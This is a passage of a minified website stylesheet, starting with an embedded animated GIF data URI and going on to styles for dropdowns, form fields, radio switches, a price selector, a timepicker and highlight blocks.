url("data:image/gif;base64,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");background-size:12%;background-position:12px;background-repeat:no-repeat}.select__holder{background:#fff;color:#8c8c8c;border:2px solid #dedede;border-radius:0 0 5px 5px;position:absolute;left:0;right:0;max-height:500px;overflow:auto;display:none;z-index:9999}.select__holder.is-active{display:block}.select__holder.is-up{border-top:2px solid #dedede;border-radius:5px 5px 0 0;border-bottom:none}.select__holder.is-inverse{border:0}.select__holder.no-hover .select__option:hover{color:#3a3a3a;background:inherit}.select__holder.no-hover .focus:hover{color:#006ab3;background:#f1f5f5}.select__label{font-size:12px;color:#8c8c8c;padding:10px 20px 0;margin-bottom:-5px}.select__option{font-size:18px;line-height:normal;padding:13px 20px 12px;cursor:pointer;position:relative;color:#3a3a3a;border-bottom:2px solid #dedede;word-break:break-word;min-height:40px}.select__option:last-child{border-bottom:none}.select__option.active{color:#006ab3;background:#f7f9f9}.select__option.focus,.select__option:hover{color:#006ab3;background:#f1f5f5}.select__option strong{font-weight:400;color:#006ab3}.select__option__icon{width:20px;height:20px;position:absolute;top:15px;left:20px}.select__option__icon+.select__option__lbl{display:block;padding-left:35px}.select__option__info{color:#8c8c8c;font-style:italic;padding-left:8px}.select__option--fixed .select__option__lbl{display:block;white-space:nowrap;overflow:hidden;margin-right:-20px}.select__option--fixed .select__option__lbl:after{content:"";display:block;background:linear-gradient(90deg,hsla(0,0%,100%,0),#fff);position:absolute;top:0;bottom:0;right:0;width:60px}.select:hover .select__trigger{border-color:#ddf1fa}.select--open,.select--open-up{z-index:999}.select--open-up .select__trigger,.select--open .select__trigger{border-radius:5px 5px 0 0}.select--open-up .select__trigger{border-radius:0 0 5px 5px}.select--open:hover .select__trigger{border-color:#dedede}.select:focus{outline:none}.select:focus .select__trigger{border-color:#006ab3}.select--inverse .select__trigger{background:none;border-color:#fff;color:#fff}.select--inverse:hover .select__trigger{border-color:#fff}.select--inverse:focus .select__trigger{border-color:#1b3b6e}.select--inverse .select__inputtxt{color:#fff}.select--inverse .select__inputtxt::-webkit-input-placeholder{color:#ddf1fa}.select--inverse .select__inputtxt::-moz-placeholder{color:#ddf1fa}.select--inverse .select__inputtxt:-ms-input-placeholder{color:#ddf1fa}.select--inverse .select__inputtxt:-moz-placeholder{color:#ddf1fa}.select--inverse .select__inputlbl{color:#fff}.select--inverse .select__holder{border-color:#fff}.select--inverse .select__option{border-color:#f1f5f5}.select--inverse .select__trigger{background:#fff;color:#006ab3;border-color:transparent;border-bottom-color:#f1f5f5}.select--inverse .select__inputtxt{color:#3a3a3a}.select--inverse .select__inputtxt::-webkit-input-placeholder{color:#8c8c8c}.select--inverse .select__inputtxt::-moz-placeholder{color:#8c8c8c}.select--inverse .select__inputtxt:-ms-input-placeholder{color:#8c8c8c}.select--inverse .select__inputtxt:-moz-placeholder{color:#8c8c8c}.select--inverse .select__inputlbl{color:#006ab3}.select-gray .select__trigger{background:#f1f5f5}.select--rounded .select__trigger,.select-rounded{padding-top:0!important;border:2px solid #dedede;border-radius:5px!important;background:#f1f5f5!important;padding:0 10px!important}.select--rounded .select__trigger.error,.select-rounded.error{border-color:#ea6022!important;color:#ea6022!important}.select--rounded .select__trigger .select__trigger__icon,.select-rounded .select__trigger__icon{right:20px!important}.select--rounded .select__trigger .select__inputlbl,.select-rounded .select__inputlbl{top:-30px!important}.select--rounded .select__trigger .select__inputtxt,.select-rounded .select__inputtxt{top:5px!important}.select--underlined .select__trigger{border:2px solid transparent;padding:0 20px 0 0;background:none;color:#3a3a3a}.select--underlined .select__trigger:after{content:"";display:block;height:2px;background:#dedede;position:absolute;bottom:-2px;left:0;right:0}.select--underlined .select__trigger__icon{right:0}.select--underlined .select__holder{left:-20px;right:-20px}.select--underlined .popup-select-conatiner .select__holder{left:-20px!important}.select--underlined .select__option{border-color:#dedede}.select--underlined .select__inputlbl{color:#006ab3}.select--underlined .select__inputtxt{color:#3a3a3a}.select--underlined .select__inputtxt::-webkit-input-placeholder{color:#8c8c8c}.select--underlined .select__inputtxt::-moz-placeholder{color:#8c8c8c}.select--underlined .select__inputtxt:-ms-input-placeholder{color:#8c8c8c}.select--underlined .select__inputtxt:-moz-placeholder{color:#8c8c8c}.select--underlined .select__input--stacked .select__inputlbl{color:#006ab3}.select--underlined .select__icon{left:-6px}.select--underlined:hover .select__trigger{border-color:transparent}.select--underlined:focus{outline:none}.select--underlined:focus .select__trigger{border-color:transparent}.select--underlined:focus .select__trigger:after{background:#006ab3}.select--underlined.select--open .select__trigger{border-color:transparent;color:#006ab3;z-index:1}.select--underlined.select--open .select__trigger:after{display:none}.select--underlined.select--open .select__trigger:before{content:"";background:#fff;border-radius:5px 5px 0 0;border:2px solid #dedede;position:absolute;left:-22px;right:-22px;top:-2px;bottom:-2px;height:auto;z-index:-1}.select--underlined.select--open .select__inputtxt{color:#3a3a3a}.select--underlined.select--open .select__inputtxt::-webkit-input-placeholder{color:#8c8c8c}.select--underlined.select--open .select__inputtxt::-moz-placeholder{color:#8c8c8c}.select--underlined.select--open .select__inputtxt:-ms-input-placeholder{color:#8c8c8c}.select--underlined.select--open .select__inputtxt:-moz-placeholder{color:#8c8c8c}.select--underlined.select--open .select__inputlbl{color:#006ab3}.select--underlined.select--inverse .select__trigger{color:#fff}.select--underlined.select--inverse .select__trigger:after{background:#fff}.select--underlined.select--inverse:focus{outline:none}.select--underlined.select--inverse:focus .select__trigger{border-color:transparent}.select--underlined.select--inverse:focus .select__trigger:after{background:#1b3b6e}.select--underlined.select--inverse .select__holder{border:none}.select--underlined.select--inverse .select__option{border-color:#f1f5f5}.select--underlined.select--inverse .select__inputlbl,.select--underlined.select--inverse .select__inputtxt{color:#fff}.select--underlined.select--inverse .select__inputtxt::-webkit-input-placeholder{color:#ddf1fa}.select--underlined.select--inverse .select__inputtxt::-moz-placeholder{color:#ddf1fa}.select--underlined.select--inverse .select__inputtxt:-ms-input-placeholder{color:#ddf1fa}.select--underlined.select--inverse .select__inputtxt:-moz-placeholder{color:#ddf1fa}.select--underlined.select--inverse .select__input--stacked .select__inputlbl{color:#ddf1fa}.select--underlined.select--inverse.select--open .select__trigger{border-color:transparent;color:#006ab3}.select--underlined.select--inverse.select--open .select__trigger:before{border:none;border-bottom:2px solid #f1f5f5}.select--underlined.select--inverse.select--open .select__inputlbl{color:#006ab3}.select--underlined.select--inverse.select--open .select__inputtxt{color:#3a3a3a}.select--underlined.select--inverse.select--open .select__inputtxt::-webkit-input-placeholder{color:#8c8c8c}.select--underlined.select--inverse.select--open .select__inputtxt::-moz-placeholder{color:#8c8c8c}.select--underlined.select--inverse.select--open .select__inputtxt:-ms-input-placeholder{color:#8c8c8c}.select--underlined.select--inverse.select--open .select__inputtxt:-moz-placeholder{color:#8c8c8c}.select--underlined.select--inverse.select--open .select__input--stacked .select__inputlbl{color:#006ab3}.select.error .select__trigger:after{background:#ea6022!important}.lbl{display:block;font-size:22px;line-height:28px;font-weight:500;color:#3a3a3a;margin:0 0 15px}.frm__msg{font-size:14px;color:#8c8c8c}.frm__msg.error{color:#df3603}.frm__msg--inverse,.frm__msg--inverse.error{color:#ddf1fa}.frm__row{margin-bottom:10px}.frm__row:last-child{margin-bottom:0}.form-group{margin-bottom:15px}.form-group:last-child{margin-bottom:0}.frm--search .frm__row>*{width:100%}.frm--search .frm__row>:first-child{margin-bottom:10px}@media (min-width:650px){.frm--search .frm__row{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start}.frm--search .frm__row>*{width:auto}.frm--search .frm__row>:first-child{-ms-flex:1;flex:1;margin-right:20px}}fieldset{border:0;margin:20px 0;padding:0}@media (min-width:650px){fieldset{margin:35px 0}}fieldset legend{font-size:22px;line-height:30px;margin-bottom:15px;font-weight:700;word-break:break-word;outline:none}fieldset>p:first-of-type{margin-top:0}.help-block{color:#666;font-size:16px!important;line-height:22px!important}.help-block--inverse{color:#ddf1fa}.control-label{color:#006ab3;display:block;font-size:15.3px;font-weight:700}.form-control{font-family:Circular Std;font-size:18px;line-height:18px;display:block;width:100%;color:#3a3a3a;border:none;border-bottom:2px solid #dedede;background:none;height:35px;position:relative;top:-5px}.form-control::-ms-clear,.form-control::-ms-reveal{display:none}.form-control::-webkit-input-placeholder{color:#8c8c8c;font-family:Circular Std;font-style:italic}.form-control::-moz-placeholder{color:#8c8c8c;font-family:Circular Std;font-style:italic}.form-control:-ms-input-placeholder{color:#8c8c8c;font-family:Circular Std;font-style:italic}.form-control:-moz-placeholder{color:#8c8c8c;font-family:Circular Std;font-style:italic}.form-control::-webkit-input-placeholder{line-height:normal!important}.form-control:focus{outline:none;box-shadow:none}textarea.form-control{line-height:1.3em;top:0;height:auto}select.form-control{border:2px solid #dedede;top:3px}.has-error .control-label,.has-error .form-control{color:#df3603;border-color:#df3603}.has-error .help-block,.has-error .validation-summary-valid{color:#df3603}.switch{position:relative;overflow:hidden;display:-ms-flexbox;display:flex}.switch input[type=radio]{position:absolute;left:-9999px}.switch input[type=radio]+label{background:none;border:2px solid #f1f5f5;border-right:none;font-family:Circular Std;font-size:18px;line-height:18px;height:50px;display:block;-ms-flex-positive:1;flex-grow:1;padding:0 20px;cursor:pointer;position:relative;z-index:1;color:#006ab3;-ms-flex-align:center;align-items:center;display:-ms-flexbox;display:flex;text-align:center;-ms-flex-pack:center;justify-content:center}.switch input[type=radio]:last-of-type+label{border-right:2px solid #f1f5f5;border-radius:0 5px 5px 0}.switch input[type=radio]:first-of-type+label{border-radius:5px 0 0 5px}.switch input[type=radio]+label:hover{background:#eff6f9}.switch input[type=radio]:focus+label{background:#eff6f9;border-color:#1b3b6e}.switch input[type=radio]:checked+label{background:#006ab3;color:#fff}.switch--2{display:block}.switch--2 input[type=radio]+label{-ms-flex:0 1 auto;flex:0 1 auto;width:100%;white-space:nowrap;overflow:hidden;padding-left:0;padding-right:0;text-align:center;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center}.switch--2 input[type=radio]+label:hover{border-color:#ddf1fa}.switch--2 input[type=radio]:checked+label{border-color:#006ab3;background:none;color:#006ab3}.switch--2 input[type=radio]+label,.switch--2 input[type=radio]+label:first-of-type,.switch--2 input[type=radio]+label:last-of-type{border-radius:5px}.switch--2 .row{margin-bottom:20px}.price-switcher-btn{padding:5px 0;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-pack:justify;justify-content:space-between;font-size:14px;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}@media (min-width:993px){.price-switcher-btn{display:-ms-grid;display:grid;-ms-grid-columns:25% 20% 30% 25%;grid-template-columns:25% 20% 30% 25%}.price-switcher-btn .item{width:auto}}.price-switcher-btn .rad{padding:0!important;margin:0!important}.price-switcher-btn .switch-rad__lbl{cursor:pointer;position:relative;z-index:2;padding-left:42px;color:#3a3a3a;width:100%}.price-switcher-btn .item{display:inline-block;white-space:nowrap;-ms-flex-positive:1;flex-grow:1;width:calc(100% * .5 - 10px - 1px)}.price-switcher-btn .rad__check{width:20px;height:20px;margin-top:-10px}.price-switcher-btn .rad__check:after{width:12px;height:12px;border-radius:50%;top:2px;left:2px}.price-switcher-btn .switch-rad__lbl{padding-left:30px;font-weight:600;-webkit-box-decoration-break:clone}.price-switcher-btn .price{font-weight:600}@media (max-width:992px){.price-switcher-btn .item:nth-child(3),.price-switcher-btn .item:nth-child(4){padding-left:30px;width:100%}.price-switcher-btn .price,.price-switcher-btn .rad{width:50%}.price-switcher-btn .price-break,.price-switcher-btn .price-highlight{width:100%;margin-left:30px}.price-switcher-btn .price{text-align:right}}.price-switcher-btn .switch-rad__lbl,.price-switcher-btn span{display:-ms-flexbox!important;display:flex!important;-ms-flex-align:center!important;align-items:center!important}.price-switcher-btn .price-highlight{color:#fff;font-size:14px;font-weight:700;background-color:#ea6022;display:inline-block;border-radius:15px;padding:0 10px;line-height:20px;white-space:nowrap}.timepicker{position:relative;z-index:inherit}.timepicker .input__txt::-webkit-input-placeholder{font-style:normal}.timepicker .input__txt:-ms-input-placeholder{font-style:normal}.timepicker .input__txt::placeholder{font-style:normal}.timepicker .awesomplete{width:100%}.timepicker .awesomplete ul{background:#fff;color:#8c8c8c;border:2px solid #dedede;z-index:999;border-radius:0 0 5px 5px;list-style-type:none;position:absolute;left:-22px;right:-22px;top:54px;box-shadow:none;overflow-y:scroll;max-height:200px;transition-duration:0s}.timepicker .awesomplete ul:before{display:none}.timepicker .awesomplete ul li{font-size:18px;line-height:normal;padding:13px 20px 12px;cursor:pointer;position:relative;color:#3a3a3a;border-bottom:2px solid #dedede}.timepicker .awesomplete ul li[aria-selected=true]{background:#f1f5f5;color:#006ab3}.timepicker .awesomplete ul li mark{background:transparent}.timepicker .awesomplete ul li:before{display:none}.timepicker .awesomplete ul li:last-child{border-bottom:none}.timepicker .awesomplete ul li.focus,.timepicker .awesomplete ul li:hover{background:#f1f5f5;color:#006ab3}.timepicker--inverse .awesomplete ul{border-color:#fff}.timepicker--inverse .awesomplete ul li{border-color:#f1f5f5}.timepicker--open.timepicker--inverse .input__lbl{color:#006ab3}.timepicker--open.timepicker--inverse .input__txt{color:#3a3a3a}.timepicker--open.timepicker--inverse .input__txt::-webkit-input-placeholder{color:#8c8c8c}.timepicker--open.timepicker--inverse .input__txt:-ms-input-placeholder{color:#8c8c8c}.timepicker--open.timepicker--inverse .input__txt::placeholder{color:#8c8c8c}.timepicker--open.timepicker--inverse:before{border:0}.timepicker--open:before{content:"";position:absolute;border:2px solid #dedede;border-bottom:none;left:-22px;right:-22px;top:-2px;bottom:1px;background:#fff;border-radius:5px 5px 0 0;height:60px}.input-rounded.timepicker:before{content:none!important}.input-rounded .awesomplete ul{left:-1px;right:-1px;top:42px}.form-group.has-error .form-control:focus{border-bottom:2px solid #006ab3!important}.form-group.has-error select.form-control{border:2px solid #df3603!important;color:#ea6022}.form-group.has-error select.form-control:focus,.form-group.has-error select.form-control:hover{border:2px solid #df3603!important}.form-group select.form-control{transition:none;font-size:18px;font-weight:500}.form-group select.form-control:focus{border:2px solid #006ab3!important}.form-group select.form-control:hover{border:2px solid #ddf1fa!important}.form-group .form-control{transition:all .3s ease-out}.form-group .form-control:focus{border-bottom:2px solid #006ab3!important}.form-group.required-field .control-label:before{content:none!important;display:none!important}.form-group.required-field .control-label:after{color:inherit;font-weight:700}.form-group.required-field .checkbox:after{content:none}.form-group.thirdAvailableWidth{padding-right:20px;width:33.3%}.form-group.thirdAvailableWidth-last{padding-right:0}.form-group.halfAvailableWidth{padding-right:10px}.form-group.halfAvailableWidth-last{padding-left:10px;padding-right:0}.form-group.halfLeft{padding-right:10px!important}.form-group.halfRight{padding-left:10px!important}.form-group .help-block:not(.field-validation-valid):not(.field-validation-error){display:none!important}.form-group .input-group .form-control:hover{border-color:#ddf1fa!important}.form-group .input-group .form-control:focus{border-color:#006ab3!important}.form-group select.form-control{position:relative;min-height:50px;border:2px solid #dedede;border-radius:5px;background:#fff;cursor:pointer;color:#006ab3;padding:0 20px}.form-group option{font-size:18px;line-height:normal;padding:13px 20px 12px;cursor:pointer;position:relative;color:#3a3a3a;border-bottom:2px solid #dedede;cursor:pointer!important}.highlight-block{background-repeat:no-repeat;background-size:cover;background-position:50%;display:-ms-flexbox;display:flex;position:relative}.highlight-block__content{padding:20px;-ms-flex:1;flex:1}.highlight-block__content .btn{margin-bottom:10px}.highlight-block__close{position:absolute;top:15px;right:-5px}.highlight-block__close:active,.highlight-block__close:focus{outline:none}@media (min-width:650px){.highlight-block__close{right:10px;top:30px}}.highlight-block__image{display:none;-ms-flex:30% 0 0px;flex:30% 0 0;-ms-flex-align:end;align-items:flex-end;-ms-flex-pack:end;justify-content:flex-end;margin:0;overflow:hidden}.highlight-block__image img{width:100%}.highlight-block--jc-c{-ms-flex-pack:center;justify-content:center}.highlight-block--jc-fe{-ms-flex-pack:end;justify-content:flex-end}.highlight-block--jc-fs{-ms-flex-pack:start;justify-content:flex-start}.highlight-block--ai-c{-ms-flex-align:center;align-items:center}.highlight-block--ai-fe{-ms-flex-align:end;align-items:flex-end}.highlight-block--ai-fs{-ms-flex-align:start;align-items:flex-start}@media (min-width:650px){.highlight-block__content{padding:30px}}@media (min-width:992px){.highlight-block__content{padding:60px}.highlight-block__image{display:-ms-flexbox;display:flex}}.highlight-block-carousel{position:relative}.highlight-block-carousel .highlight-block{display:none}.highlight-block-carousel .highlight-block:first-child{display:-ms-flexbox;display:flex}.nav-sidebar-panel .inbenta-nmbs .inbenta-search-box__form .inbenta-search-icon,.nav-sidebar__header .inbenta-nmbs .inbenta-search-box__form .inbenta-search-icon{background:#fff!important;box-shadow:none!important;color:gray!important;border:none!important}.nav-sidebar-panel .inbenta-search-box,.nav-sidebar__header .inbenta-search-box{padding:0!important;border-radius:5px!important}.nav-sidebar-panel .inbenta-search-box__form 